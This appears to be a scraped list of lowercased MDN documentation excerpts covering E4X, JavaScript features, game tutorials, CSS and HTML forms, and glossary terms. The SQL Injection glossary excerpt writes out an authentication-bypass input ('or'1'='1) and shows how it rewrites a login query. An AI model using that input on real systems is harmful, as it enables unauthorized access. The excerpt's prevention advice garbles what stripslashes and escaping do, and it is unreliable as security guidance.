security and escaping function e (str) { if (typeof str === 'xml') {str = str.tostring();} return str; } function quot (s) { // useful for placing user input within inline javascript; may be combined with escape function above as well if (typeof s === 'string') { return s.replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } if (typeof s === 'xml') { return s.tostring().replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } return string(s).replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(msg, args){ //get localized message var ...
...erates over an array of the lines in an e4x child element to produce an xmllist of multiple vbox's representing each line: <vbox> {foreach(e(someel.somechild[0]).split('\n'), function (line) <description>{line}</description> )} </vbox> the following example shows iteration over an e4x object itself: {foreach(elems, function (k, elem, iter) <> <row>{k}: {elem}</row> <row><image src="chrome://myext/skin/images/fillerrow.jpg" /></row> </>)} or if the e4x child element had its own children and text: {foreach(elems, function (k, elem, iter) <> <row>{k}: {elem.text()} {elem.somechild}</row> <row><image src="chrome://myext/skin/images/fillerrow.jpg" /></row> </>)} sorting /* @param {xmllist} xmllist the xmllist to sort @param {function} h the sorting handler */ functi...
...ed well, it can also allow inline shaping of xml somewhat akin to the w3c standard xquery language, allowing the scripting to mix in context with the surrounding declarative xml: var a = <a><b/><c/><d/></a>; var b = <bar>{function () { var content = <></>; for each (var el in a) { el.@att = 'val'; content += el; } return content; }()}</bar>; giving: <bar> <b att="val"/> <c att="val"/> <d att="val"/> </bar> one may still wish to remove complex business logic and supply as variables to the e4x, but the above allows the shaping of resulting content to be made more clear (and sometimes design logic also calls for extra processing).
Namespaces - Archive of obsolete content
you can declare the default namespace for your e4x objects by placing the statement: default xml namespace = "http://www.w3.org/1999/xhtml"; within the same scope as your e4x.
...default xml namespace = "http://www.w3.org/1999/xhtml"; var a = <p>some text</p>; default xml namespace = "http://www.mozilla.org/keymaster/gat...re.is.only.xul"; var b = <label>more text</label>; a.appendchild(b); gives <p xmlns="http://www.w3.org/1999/xhtml"> some text <label xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">more text</label> </p> name() using name() on an xml object returns a qname object (qualified name).
...info.uri; // returns "http://www.w3.org/1999/xhtml" elements in no namespace return the empty string as their uri.
Using JavaScript Generators in Firefox - Archive of obsolete content
you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like this: // need to stash the generator in a global variable.
...function closegenerator() { settimeout(function() { generator.close(); }, 0); } // our main steps function databaseoperation() { mozindexeddb.open("mytestdatabase").onsuccess = grabevent; var event = yield; var db = event.target.result; if (db.version != "1.0") { db.setversion("1.0").onsuccess = grabevent; event = yield; var transaction = event.transaction; db.createobjectstore("stuff"); transaction.oncomplete = grabevent; yield; } db.transaction(["stuff"]).objectstore("stuff").get("foo").onsuccess = gra...
...bevent; event = yield; alert("got result: " + event.target.result); // we're all done.
Array comprehensions - Archive of obsolete content
examples simple array comprehensions [for (i of [1, 2, 3]) i * i ]; // [1, 4, 9] var abc = ['a', 'b', 'c']; [for (letters of abc) letters.tolowercase()]; // ["a", "b", "c"] array comprehensions with if statement var years = [1954, 1974, 1990, 2006, 2010, 2014]; [for (year of years) if (year > 2000) year]; // [2006, 2010, 2014] [for (year of years) if (year > 2000) if (year < 2010) year]; // [2006], the same as below: [for (year of years) if (year > 2000 && year < 2010) year]; // [2006] array comprehensions compared to map and filter an easy way to ...
...i * i); [for (i of numbers) i * i]; // all are [1, 4, 9] numbers.filter(function (i) { return i < 3 }); numbers.filter(i => i < 3); [for (i of numbers) if (i < 3) i]; // all are [1, 2] array comprehensions with two arrays using two for-of iterations to work with two arrays: var numbers = [1, 2, 3]; var letters = ['a', 'b', 'c']; var cross = [for (i of numbers) for (j of letters) i + j]; // ["1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c"] var grid = [for (i of numbers) [for (j of letters) i + j]]; // [ // ["1a", "1b", "1c"], // ["2a", "2b", "2c"], // ["3a", "3b", "3c"] // ] [for (i of numbers) if (i > 1) for (j of letters) if(j > 'a') i + j] // ["2b", "2c", "3b", "3c"], the same as below: [for (i of numbers) for (j of letters) if (i > 1) if(j > 'a') i + j] // ["2b", "2c", "...
...3b", "3c"] [for (i of numbers) if (i > 1) [for (j of letters) if(j > 'a') i + j]] // [["2b", "2c"], ["3b", "3c"]], not the same as below: [for (i of numbers) [for (j of letters) if (i > 1) if(j > 'a') i + j]] // [[], ["2b", "2c"], ["3b", "3c"]] specifications was initially in the ecmascript 2015 draft, but got removed in revision 27 (august 2014).
VBArray.lbound - Archive of obsolete content
if dimension is greater than the number of dimensions in the vbarray, or is negative, the method generates a "subscript out of range" error.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba){ var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { ...
... s += "the lower bound of dimension "; s += i + " is "; s += a.lbound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
VBArray.ubound - Archive of obsolete content
if dim is greater than the number of dimensions in the vbarray, or is negative, the method generates a "subscript out of range" error.
... <head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { ...
... s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, and internet explorer 10 standards.
New in JavaScript 1.2 - Archive of obsolete content
note that netscape navigator 3.0 and earlier ignored scripts with the language attribute set to "javascript1.2" and higher.
... <script language="javascript1.1"> <!-- javascript for navigator 3.0.
... --> <script language="javascript1.2"> <!-- javascript for navigator 4.0.
New in JavaScript 1.3 - Archive of obsolete content
note that communicator and navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "javascript1.3" and higher.
... <script language="javascript1.2"> <!-- javascript for navigator 4.0.
... --> <script language="javascript1.3"> <!-- javascript for navigator 4.5.
New in JavaScript 1.8 - Archive of obsolete content
using javascript 1.8 in order to use some of the new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ...
...</script> another way (not recommended) to do this is to use the deprecated <script> language attribute and define it as "javascript1.8".
... the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 or higher because existing code might use those keywords as variable or function names.
Object.prototype.__noSuchMethod__ - Archive of obsolete content
'in' : 'not in') + ' bob'); // getage is not in bob console.log("bob's age is: " + bob.getage()); // bob's age is: 25 console.log('getname is ' + (('getname' in bob) ?
... 'in' : 'not in') + ' bob'); // getname is not in bob console.log("bob's name is: " + bob.getname()); // bob's name is: bob console.log('getaddr is ' + (('getaddr' in bob) ?
... 'in' : 'not in') + ' bob'); // getaddr is in bob console.log("bob's address is: " + bob.getaddr()); // bob's address is: new york specifications not part of any standard.
Object.observe() - Archive of obsolete content
one of "add", "update", or "delete".
... oldvalue: only for "update" and "delete" types.
...if omitted, the array ["add", "update", "delete", "reconfigure", "setprototype", "preventextensions"] will be used.
JavaArray - Archive of obsolete content
for example: var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); bytearray[0] // returns 72 bytearray[1] // returns 101 any java data brought into javascript is converted to javascript data types.
... var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); example: instantiating a javaarray in javascript with the newinstance method in javascript 1.4, you can use a javaclass object as the argument for the newinstance method which creates the array, as shown in the following code: var dogs = java.lang.reflect.array.newinstance(java.lang.string, 5); in javascript 1.1, use a class object retur...
...ned by java.lang.class.forname as the argument for the newinstance method, as shown in the following code: var datatype = java.lang.class.forname("java.lang.string"); var dogs = java.lang.reflect.array.newinstance(datatype, 5); ...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
<div class="card"> <img src="thumb_clown_trigger.jpg" alt="clown trigger" border="0" width="150" height="115"> <h3>clown trigger</h3> <p> our clown trigger is a bold little fish, though for a few weeks he slept a lot and didn't look well in general.
...this leaves out 2% as "wasted space," so to speak.
...since the image was floated, any background or border we set on the h3 would "slide under" the image; this is an expected effect with floated elements.
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/content/xforms.xml#xformswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/content/xforms-xhtml.xml#xformswi...
...dget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser = new domparser(); return this._domparser; </getter> </property> <method name="refresh"> <body> // get new value, parse, and import it.
... var val = this.stringvalue; var newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
Describing microformats in JavaScript - Archive of obsolete content
classname a string specifying the name of the microformat's class as referenced in html (class="classname").
...the adr microformat is defined as follows: var adr_definition = { mfversion: 0.8, mfobject: adr, classname: "adr", properties: { "type" : { plural: true, types: ["work", "home", "pref", "postal", "dom", "intl", "parcel"] }, "post-office-box" : { }, "street-address" : { plural: true }, "extended-address" : { }, "locality" : { }, "region" : { }, "postal-code" : { }, "country-name" : { } } }; the properties are quite sim...
... the microformat is registered with the microformat api by calling microformats.add(), like this: microformats.add("adr", adr_definition); note: to be clear: since the adr microformat is included by default in firefox 3 and later, you don't need to add it yourself if you wish to make use of it.
Using the DOM File API in chrome code - Extensions
in bootstrap scope, this must be imported in like so: cu.importglobalproperties( [ "file" ] ) accessing a file by hard-coded pathname to reference a file by its path, you can simply use a string literal: var file = file.createfromfilename("path/to/some/file"); cross platform note: however using hard-coded paths raises cross platform issues since it uses a platform-dependent path separator (here "/").
...you can do so like this: var dsfile = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); dsfile.append("myfilename.txt"); var file = file.createfromnsifile(dsfile); this uses the directory service to locate the profile directory (with the location key "profd", see below for more details), then appends the nam...
... other such keys as the "profd" key are available, check the known locations.
Anatomy of a video game - Game development
imagine that you are developing a "find the differences between these two similar pictures"-type game.
...*/ ;(function () { function main( tframe ) { mygame.stopmain = window.requestanimationframe( main ); // your main loop contents // tframe, from "function main ( tframe )", is now a domhighrestimestamp provided by raf.
...some choices are: consider the gap "a pause" and skip the time.
Introduction to game development for the Web - Game development
as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking ...
...webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project.
... xmlhttprequest and file api the combination of xmlhttprequest and the file api lets you send and receive any kind of data you want (don't let the "xml" throw you!) from a web server.
WebVR — Virtual Reality for the Web - Game development
vr devices with the popularity of oculus rift and a lot of other devices in production coming soon to the market, the future looks bright — we already have sufficient technology to make the vr experience "good enough" for playing games.
...for example, the below code outputs position information on the screen: function setview() { var posstate = gpositionsensor.getstate(); if(posstate.hasposition) { pospara.textcontent = 'position: x' + roundtotwo(posstate.position.x) + " y" + roundtotwo(posstate.position.y) + " z" + roundtotwo(posstate.position.z); xpos = -posstate.position.x * width * 2; ypos = posstate.position.y * height * 2; if(-posstate.position.z > 0.01) { zpos = -posstate.position.z; } else { zpos = 0.01; } } ...
... immersion is more important than gameplay or graphics - you have to feel you're "inside" the experience.
Game over - Game development
we'll edit the second if block so it's an if else block that will trigger our "game over" state upon the ball colliding with the bottom edge of the canvas.
... first, replace where you initially called setinterval() setinterval(draw, 10); with: var interval = setinterval(draw, 10); then replace the second if statement with the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } letting the paddle hit the ball the last thing to do in this lesson is to create some kind of collision detection between the ball and the paddle, so it can bounce off it and get back into the play area.
...update the last bit of code you modified again, to the following: if(y + dy < ballradius) { dy = -dy; } else if(y + dy > canvas.height-ballradius) { if(x > paddlex && x < paddlex + paddlewidth) { dy = -dy; } else { alert("game over"); document.location.reload(); clearinterval(interval); } } if the ball hits the bottom edge of the canvas we need to check whether it hits the paddle .
Paddle and keyboard controls - Game development
add the following just below your drawball() function: function drawpaddle() { ctx.beginpath(); ctx.rect(paddlex, canvas.height-paddleheight, paddlewidth, paddleheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } allowing the user to control the paddle we can draw the paddle wherever we want, but it should respond to the user's actions.
...add the following lines just above the setinterval() line at the bottom of your javascript: document.addeventlistener("keydown", keydownhandler, false); document.addeventlistener("keyup", keyuphandler, false); when the keydown event is fired on any of the keys on your keyboard (when they are pressed), the keydownhandler() function will be executed.
...add these to your code now, below the addeventlistener() lines: function keydownhandler(e) { if(e.key == "right" || e.key == "arrowright") { rightpressed = true; } else if(e.key == "left" || e.key == "arrowleft") { leftpressed = true; } } function keyuphandler(e) { if(e.key == "right" || e.key == "arrowright") { rightpressed = false; } else if(e.key == "left" || e.key == "arrowleft") { leftpressed = false; } } when we press a key down, this information is stored in a variable.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
in javascript there are two functions respectively for decoding and encoding base64 strings: btoa(): creates a base-64 encoded ascii string from a "string" of binary data ("btoa" should be read as "binary to ascii").
... atob(): decodes a base64 encoded string("atob" should be read as "ascii to binary").
...for example, the string "a" with length === 1 gets encoded to "yq==" with length === 4 — a 300% increase.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
here is an example that makes every html paragraph yellow against a black background: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in this case yellow.
... */ color: yellow; /* the "background-color" property defines the background color, in this case black.
... */ background-color: black } "cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance.
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; background-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
... we can then apply this css to some html, such as: <p>this is happy text.</p> <div class="warning"> be careful!
...</div> <div id="customized"> <p>this is happy text.</p> <div class="warning"> be careful!
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
access global variables var foo = "foobar"; foo === window.foo; // returns: true after defining a global variable foo, we can access its value directly from the window object, by using the variable name foo as a property name of the global object window.foo.
... explanation: the global variable foo was stored in the window object, like this: foo: "foobar" access global functions function greeting() { console.log("hi!"); } window.greeting(); // it is the same as the normal invoking: greeting(); the example above explains how global functions are stored as properties in the window object.
... explanation: the global function greeting was stored in the window object, like this: greeting: function greeting() { console.log("hi!"); } ...
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px 100px; } lines can be addressed using their line number.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px 100px; } .item { grid-column-start: 1; grid-column-end: 3; grid-row-start: 1; grid-row-end: 3; } naming lines the lines created in the explicit grid can be named, by adding the name in square brackets before or after the track sizing info...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1-start] 1fr [col2-start] 1fr [col3-start] 1fr [cols-end]; grid-template-rows: [row1-start] 100px [row2-start] 100px [rows-end]; } .item { grid-column-start: col1-start; grid-column-end: col3-start; grid-row-start: row1-start; grid-row-end: rows-end; } learn more property ref...
HTTP - MDN Web Docs Glossary: Definitions of Web-related terms
as part of a uri, the "http" within "http://example.com/" is called a "scheme".
... resources using the "http" schema are typically transported over unencrypted connections using the http protocol.
... the "https" scheme (as in "https://developer.mozilla.org") indicates that a resource is transported using the http protocol, but over a secure tls channel.
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
for example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setattribute("maxlength", "42") on that element.
...for example, the default type for <input> elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar".
... however, the type idl attribute will return the string "text".
JavaScript - MDN Web Docs Glossary: Definitions of Web-related terms
summary javascript (or "js") is a programming language used most often for dynamic client-side scripts on webpages, but it is also often used on the server-side, using a runtime such as node.js.
...although "java" and "javascript" are trademarks (or registered trademarks) of oracle in the u.s.
... learn more general knowledge javascript on wikipedia learning javascript the javascript guide on mdn the "javascripting" workshop on nodeschool the javascript course on codecademy.com john resig's learning advanced javascript technical reference the latest ecmascript standard the javascript reference on mdn the eloquent javascript book ...
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
lets understand this with an example: var immutablestring = "hello"; // in the above code, a new object with string value is created.
... immutablestring = immutablestring + "world"; // we are now appending "world" to the existing value.
... on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space previously created memory space is now available for garbage collection.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
how it works after entering username and password, behind the gui the sql queries work as follows: "select count(*) from users where username=' " + txt.user.text+" ' and password=' "+ txt.password.text+" ' "; now suppose user enters the username: admin and password: passwd123, so after clicking on the log in button, sql query will run as follows: "select count(*) from users where username=' admin ' and password=' passwd123 ' "; if the credentials are correct, then the user is allowed to log...
... hackers use a simple string called a magical string, for example: username: admin password: anything 'or'1'='1 after clicking on the login button, the sql query will work as follows: "select count(*) from users where username=' admin ' and password=' anything 'or'1'='1 ' "; just take a closer look at the above query's password section.
... how to prevent before executing the queries for the user credentials, make some changes like the following: $id = $_get['id'] (1) $id = stripslashes($id) (2) $id = mysql_real_escape_string($id) so due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/).
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
although languages can share few similarities in terms of their syntaxes for example "operand operator operand" rule in javascript and python.
... frameworks are said to have a "clean" syntax if they produce simple, readable, concise results.
... if a codebase uses "a lot of syntax", it requires more characters to achieve the same functionality.
caret - MDN Web Docs Glossary: Definitions of Web-related terms
a caret (sometimes called a "text cursor") is an indicator displayed on the screen to indicate where text input will be inserted.
...the word "caret" differentiates the text insertion point from the mouse cursor.
... <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="url"> <textarea> any element with its contenteditable attribute set ...
Assessment: Accessibility troubleshooting - Learn web development
project brief for this project, you are presented with a fictional nature site displaying a "factual" article about bears.
... the navigation menu part of the site (wrapped in <div class="nav"></div>) could be made more accessible by putting it in a proper html5 semantic element.
...your post should include: a descriptive title such as "assessment wanted for accessibility troubleshooting".
Images, media, and form elements - Learn web development
this will result in "letterboxing" if it is not the same aspect ratio as the box.
... styling text input elements elements that allow for text input, such as <input type="text">, specific types such as <input type="email">, and the <textarea> element are quite easy to style and tend to behave just like other boxes on your page.
...l elements, then add these back in when styling particular controls button, input, select, textarea { box-sizing: border-box; padding: 0; margin: 0; } other useful settings in addition to the rules mentioned above, you should also set overflow: auto on <textarea>s to stop ie showing a scrollbar when there is no need for one: textarea { overflow: auto; } putting it all together into a "reset" as a final step, we can wrap up the various properties discussed above into the following "form reset" to provide a consistent base to work from.
Using CSS generated content - Learn web development
html a text where i need to <span class="ref">something</span> css .ref::before { font-weight: bold; color: navy; content: "reference "; } output the character set of a stylesheet is utf-8 by default, but it can also be specified in the link, in the stylesheet itself, or in other ways.
...for example, "\265b" is the chess symbol for a black queen ♛.
... this rule adds a space and an icon after every link that has the class glossary: html <a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a> css a.glossary::after { content: " " url("https://mdn.mozillademos.org/files/16322/glossary-icon.gif"); } ...
What do common web layouts contain? - Learn web development
remember that word "float"--it will ring a bell when you start learning about css.
...because the image on the top-right is l-shaped, because b1 looks like a column supporting the shifted main content, and because the "m" and "i" of the mica logo create a vertical line of force.
...the opera example looks more complex than the mica example, but it's actually easier to implement (all right, "easy" is a relative concept).
How do I use GitHub Pages? - Learn web development
github is a "social coding" site.
..."change directory").
... go to the github pages section again, and you should see a line of the form "your site is ready to be published at https://xxxxxx." if you click on this url, you should go to a live version of your example, provided the home page is called index.html — it goes to this entry point by default.
What is a URL? - Learn web development
it indicates the technical "gate" used to access the resources on the web server.
...an anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot.
...if the path part of the url starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document.
What is a web server? - Learn web development
we call it "static" because the server sends its hosted files as-is to your browser.
...we call it "dynamic" because the application server updates the hosted files before sending content to your browser via the http server.
...remember that the term static means "served as-is".
How do you set up a local testing server? - Learn web development
if you are a windows user, you can get an installer from the python homepage and follow the instructions to install it: go to python.org under the download section, click the link for python "3.xxx".
... on the first installer page, make sure you check the "add python 3.xxx to path" checkbox.
... enter the command to start up the server in that directory: # if python version returned above is 3.x python3 -m http.server # on windows try "python" instead of "python3", or "py -3" # if python version returned above is 2.x python -m simplehttpserver by default, this will run the contents of the directory on a local web server, on port 8000.
Example 3 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit" tabindex="-1"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" tabindex="0"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* -...
...gba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : ""; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; mar...
... optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (option) { option...
Example 4 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles...
...gba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : ""; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; mar...
... var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (option) { option...
Example 5 - Learn web development
change states html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select" role="listbox"> <span class="value">cherry</span> <ul class="optlist hidden" role="presentation"> <li class="option" role="option" aria-selected="true">cherry</li> <li class="option" role="option">lemon</li> <li class="option" role="option">banana</li> <li class="option" role="option">strawberry</li> <li class="option" role="option">apple</li> </ul> </div> </form> css content .widget select, .no-widget .select { ...
...gba(0,0,0,.45); /* 0 1px 2px */ background : #f0f0f0; background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : ""; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; mar...
...tionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.ta...
Example - Learn web development
a payment form html content <form method="post"> <h1>payment form</h1> <p>required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p> <section> <h2>contact information</h2> <fieldset> <legend>title</legend> <ul> <li> <label for="title_1"> <input type="radio" id="title_1" name="title" value="a"> ace </label> </li> <li> <label for="title_2"> <input type="radio" id="title_2" name="title" value="k" > king </label> </li> <li> <label for="title_3"> <input type="radio" id="title_3" name="title" value=...
..."q"> queen </label> </li> </ul> </fieldset> <p> <label for="name"> <span>name: </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="text" id="name" name="username"> </p> <p> <label for="mail"> <span>e-mail: </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="email" id="mail" name="usermail"> </p> <p> <label for="pwd"> <span>password: </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="password" id="pwd" name="password"> </p> </section> <section> <h2>payment information</h2> <p> <label for="card"> <span>card type:</span> ...
